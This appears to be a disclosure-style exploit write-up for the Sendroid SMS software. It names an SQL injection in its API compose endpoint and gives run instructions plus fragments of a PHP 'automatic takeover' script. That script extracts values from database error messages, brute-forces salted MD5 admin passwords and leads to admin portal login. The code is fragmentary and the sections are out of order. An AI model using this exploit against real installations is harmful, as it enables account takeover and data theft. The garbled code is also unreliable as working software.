1. Description

The softaware suffers from SQL Injection:
"/API/index.php?action=compose&username=sender&api_key=sdsd&sender"

2. Script (Automatic takeover)

Attached to mail

4. How to run Script
You must have PHP installed on your system to run the script.

- First, copy the code to a file and save(eg: sendroid_exploit.php)
- Open up your command line and CD into the directory where you saved the file.
- Now, type "$ php -f sendroid_exploit.php url=http://localhost/sms"

Note: The URL should be a direct link to where the software is installed.

3. Proof of Concept

Run the script for example:
php -f sendroid_exploit.php url=http://localhost/sms

CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',

]);
}
// Send the request & save response to $resp
$resp = curl_exec($curl);
// Close request to clear up some resources
curl_close($curl);

return $resp;
}

// Extract the real value
function extractValue($payload, $what = "email"){

$patterns = []; $patterns[0] = "/ for key 'group_key'/"; $patterns[1] = "/Duplicate entry /"; $patterns[2] = "/\s\s+/"; $patterns[3] = "/'/";
$replacements = []; $replacement[0] = ""; $replacements[1] = ""; $replacements[2] = ""; $replacements[3] = "";

$result = preg_replace($patterns, $replacements, $payload);

return substr($result, 0, -1);
}


function crackPassword($password){

echo " cracking... please wait... ";

$pwsalt = explode( ":",$password );

for ($i=1; $i < 20000000000000 ; $i++) {

if(md5($i . $pwsalt[1]) == $pwsalt[0] ) {

return $i;
}

}

return "Could not crack password";
}

If you successfully run the script, you'll get the admin password. You can login to the admin portal:
localhost/sms/administrator/
